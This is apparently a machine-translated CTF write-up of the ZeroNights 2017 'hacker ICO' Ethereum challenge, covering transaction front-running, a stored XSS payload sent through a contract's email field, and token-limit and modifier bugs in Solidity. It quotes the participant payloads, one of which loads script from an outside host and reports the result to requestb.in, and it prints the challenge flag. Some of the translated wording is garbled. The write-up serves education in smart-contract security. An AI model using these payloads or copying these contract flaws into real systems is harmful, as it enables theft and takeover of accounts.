Before the annual ZeroNights 2017 conference, in addition to Hackquest 2017 , we decided to organize another contest, namely, to hold our ICO (Initial coin offering). But not the same as everyone used to see, but for hackers. And how could we understand that they are hackers ? They had to hack ICO! For details, I ask under the cat.
For starters - the legend.
Digital Security ICO follows the whitelist ICO principle, i.e. Only participants who were on the white list could invest. The selection of participants took place manually by the owners of the smart contract, based on the data that was provided - a link to a personal blog, twitter, nickname, etc. If necessary, it was necessary to confirm the identity. We also gave a chance to a random participant to get his lottery review every five blocks. In more detail you can familiarize yourself with the conditions and possibilities by reading the smart contract .
The task of the project participants was as follows:
Get more than 31337 HACK and send a request for an invite to ZeroNights.
And this is how the part where the whitelist bids were displayed, the whitelist itself and the cherished button “that the owner had to press” looked like this.
If we analyze the provided links to etherscan.io, then the following smart contraction architecture appears:
After reading the ICO, it becomes obvious that you simply do not submit an application for consideration to the owner:
function proposal(string _email) public { // 1337 require(msg.sender.balance > 1337 ether && msg.sender != controller); desires[msg.sender].email = _email; desires[msg.sender].active = true; Proposal(msg.sender, _email); }
Where to take so many ethers? The first thing that can come to mind is to keep one's mind! There is a test network, there should be a few participants ... But no. The Prok -of-Authority consensus is used in the Rinkbey network, so only the selected nodes may mine and distribute the broadcast to everyone. So one of the options was to build accounts on Twitter, Google+, github.com and collect the required amount of broadcast. According to calculations, having a little more than a hundred accounts, it was possible to collect such an amount per day. If any of the participants reading the analysis, resorted to such a decision - write in the comments, we are interested in your experience.
Those who found such an option boring, could notice in the description (or contract) that there is some kind of lottery, which every five blocks provides an opportunity for anyone to apply. All that is needed is to guess the number that the lottery robot made .
The function of the smart contract that the robot called is as follows:
address public robotAddress; mapping (address => uint) private playerNumber; address[] public players; uint public lotteryBlock; event NewLotteryBet(address who); event NewLotteryRound(uint blockNumber); function spinLottery(uint number) public { if (msg.sender != robotAddress) { playerNumber[msg.sender] = number; players.push(msg.sender); NewLotteryBet(msg.sender); } else { require(block.number - lotteryBlock > 5); lotteryBlock = block.number; for (uint i = 0; i < players.length; i++) { if (playerNumber[players[i]] == number) { desires[players[i]].active = true; desires[players[i]].email = "*Use changeEmail func to set your email.*"; Proposal(players[i], desires[players[i]].email); } } delete players; // flushing round NewLotteryRound(lotteryBlock); } }
It was assumed that the participants for five blocks send their numbers, and then the robot sends the one that he made. The smart contract had to check if any of the players guessed. If successful, the participant went to desires
. It would seem that from the point of view of the smart contract there are no vulnerabilities: the robot closed the round with its transaction and it was possible to see what number it was, only after the fact. But actually not.
In order to find out what number the robot made, and - most importantly - to send a transaction before it, it was necessary to understand how these transactions are processed by the network. In short:
all new transactions first fall into the pool of unconfirmed (common to all network participants), and the miners, when forming the next block, recruit transactions for themselves from there. But not in the order in which they were sent, but in descending order of the commission and sequence number of the transaction - gasPrice and nonce, respectively (in fact, the price of "gas" is only one of the components of the commission that the miner receives; the second is spent gas ).
Thus, all that was needed was to look at the number that the robot sent while the transaction was still in the unconfirmed pool, and send it along with it with the same number, but at a higher price of "gas". Taking into account that finding a new block takes 12-30 seconds, the attacker had enough time to rotate the Front-running attack. An example of an exploit can be explored here .
(Lyrical digression) If any Internet provider participated in the contest and had the opportunity to conduct BGP hijacking attacks, by analogy with those described here , then it could also manage the order of transactions.
So, the application is filed. It remains only to wait until the owner adds me to the white list and I can buy the coveted HACK-koin . It sounds boring, isn't it? Maybe there is a way to somehow get on the white list? We look into the contract:
modifier onlyController { require(msg.sender == controller); _; } function addParticipant(address who) onlyController public { if (isDesirous(who) && who != controller) { whitelist[who] = true; delete desires[who]; AddParticipant(who); RemoveProposal(who); } }
The addParticipant
function, which is called when the button of the same name is clicked in the web interface, has the onlyController
modifier onlyController
, so to call it, you must sign the transaction with the private key of the controller
address. Or maybe, in the absence of such, to replace the owner himself? Studying the source code of one of the inherited contracts, Controlled
, you can see that there is a change of ownership through the changeController
function:
contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; bool isICOdeployed; function Controlled() public { controller = msg.sender; } /// @notice Changes the controller of the contract just once /// @param _newController The new controller of the contract (eg ICO contract) function changeController(address _newController) public onlyController { if (!isICOdeployed) { isICOdeployed = true; controller = _newController; } else revert(); } }
In fact, the function is relevant only for the HACK-koin smart contact (to completely change the controller from the developer’s address to the ICO contract address), but since the Controlled
contract is useful and inherited by both contracts, changeOwner
will have changeOwner
. Trying? Failure: (The developer provided for this and called the function immediately with a delay with its own address.
After all the theories have been exhausted, it might indeed seem that the owner enters the participants with a whitelist manually. But this, of course, is not so.
To pass the second stage, it was necessary to conduct a blockchain stored XSS attack against the owner. A hint of this could be seen in the email change function:
function changeEmail(string _email) public { require(desires[msg.sender].active); desires[msg.sender].email = _email; Proposal(msg.sender, _email); }
Did you notice? There are no checks on what is contained in the _email
line. They are not mainly because doing such checks is expensive (spent gas), and there are no built-in functions for working with strings. It turns out that the only barrier of protection will most likely be implemented on the client side. Let's take a look at how to add email to the Statistic page:
<!-- statistics.vue --> ... <div class="table__proposals"> <h2>Proposals</h2> <div class="table__body"> <div class="table__item" v-for="member in desires" v-on:click.capture="selected = member" v-bind:class="{ selected: selected == member}"> <!-- v-html - --> <div class="member__email" v-html="member.email"></div> <!-- --> <div>{{ member.address }}</div> </div> </div> </div> ...
Of course, the participants have already seen the rendered option. But nothing prevented the experiment:
From the point of view of competition, it is also important to come already with a working attack vector, since everyone in the blockchain can see the actions of rivals!
Here is the first vector sent:
the.last.triarius@gmail.com<img src="1" onerror="var x = document.createElement('script'); x.src = 'http://yourjavascript.com/112951702413/h.js'; document.getElementsByTagName('head')[0].appendChild(x);">
In most cases, the payload was pulled up separately (and I didn’t even try to follow these links and see what was there), but here’s an example:
var xhr = new XMLHttpRequest(); xhr.open('GET', '/static/contracts.json', false); xhr.send(); var contracts = JSON.parse(xhr.responseText); var ico_addr = contracts.ICO_CONTRACT_ADDRESS; var ico_abi = contracts.ICO_CONTRACT_ABI; var ico = web3.eth.contract(ico_abi).at(ico_addr); var player_addr = '0xc24c2841b87694e546a093ac0da6565c8fdd1800'; var tx = ico.addParticipant(player_addr, {from: web3.eth.coinbase}) xhr.open('GET', 'https://requestb.in/1gz0iz11?tx='+tx, false); xhr.send();
It is also worth noting that the attack was successful because the owner uses the geth client with a unlocked coinbase account. If any wallet were used, then at the initiation of the transaction the user would see a window that requires confirmation of the transaction. However, you should not assume that using the wallet will save you from all ills. The attacker can still manage the data from which the transaction is formed (for example, replace the address chosen by the owner with his own).
Well, we are almost there. It's time to buy 31337 HACK-koinov. We look at the purchase function:
// - ICO uint RATE = 2500; function buy() public payable { if (isWhitelisted(msg.sender)) { uint hacks = RATE * msg.value; require(hack.balanceOf(msg.sender) + hacks <= 1000 ether); hack.mint(hacks, msg.sender); } }
On the move, it is clear that a smart contract does not allow you to purchase more than 1000 HACK-coins, but you need more than 31337. However, it does not matter! Notice how the check of the balance of the buyer. Only current balance is taken into account! The logical solution would be to simply transfer the coins somewhere else and buy again.
See how you can make a transfer:
modifier afterICO() { block.timestamp > November15_2017; _; } function transfer(address _to, uint256 _value) public afterICO returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
The function is for translation, but a modifier is given to it, which should limit the possibility of calling it before the end of the ICO. However, in reality, the modifier does not fulfill its function regardless of the condition, since this very condition still needs to be processed. Here is the correct option:
modifier afterICO() { require(block.timestamp > November15_2017); _; }
Thus, you can repeat the operation "purchase-withdrawal" 13 times and accumulate the coveted number of tokens. Another option is to use the transferFrom
function - the process is a bit more complicated, but also working.
This is a bonus stage, because I didn’t think about it as a stage at all, but I made many googling seriously, and after passing send an emotional feedback along with the flag (as part of decency, of course). So, the signature to the form on the site reads:
... To get an entrance ticket, collect more than 31337 HACK Coins and send us a signed off-chain transaction with "HACK" as msg.data.
For the transfer of the flag, it was required off-chain interaction with the participants (that is, outside the Ethereum network). Since the invitation could be received in exchange for the flag (secret), and keeping secrets in the blockchain is not easy - even if you encrypt the flag, how to give the key to the correct participant? Actually, therefore, we asked the participant to generate a signed transaction from the address where there is the necessary number of HACK-koins and send it to the backend ico.dsec.ru, and not to the network. Here is a detailed example of how to generate such a transaction.
var Tx = require('ethereumjs-tx'); var unsign = require('@warren-bank/ethereumjs-tx-unsign'); var util = require('ethereumjs-util'); var Web3 = require('web3'); var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545/')); const HaCoin_CONTRACT_ADDRESS = "0x9993ae26affd099e13124d8b98556e3215214e81"; const abi_h = [{"constant":true,"inputs":[], ... ,"type":"event"}]; var hack = web3.eth.contract(abi_h).at(HaCoin_CONTRACT_ADDRESS); router.post('/getInvite', function(req, res, next) { var transaction = new Tx(req.body.tx); if (transaction.verifySignature()) { var decodedTx = unsign(transaction.serialize().toString('hex'), true, true, true); var data = web3.toAscii(decodedTx.txData.data); var from = util.bufferToHex(transaction.from); if (data === hack.symbol() && web3.fromWei(hack.balanceOf(from), "ether") > 31337) { res.send({'success': true, 'email': 'ico@dsec.ru', 'code': 'l33t_ICO_haXor_Foy1YD042c!'}); } } else { res.send({'success': false, 'error': 'Transaction is invalid.'}); } res.send({'success': false, 'error': 'Transaction is invalid.'}); });
That's all. Thanks to everyone who took part in the ICO and our congratulations to the winners! For those who have woken up the desire to complete the quest - he will work a couple more days :)
Many thanks also to those people who took the time before ZeroNights and helped me.
Source: https://habr.com/ru/post/343534/
All Articles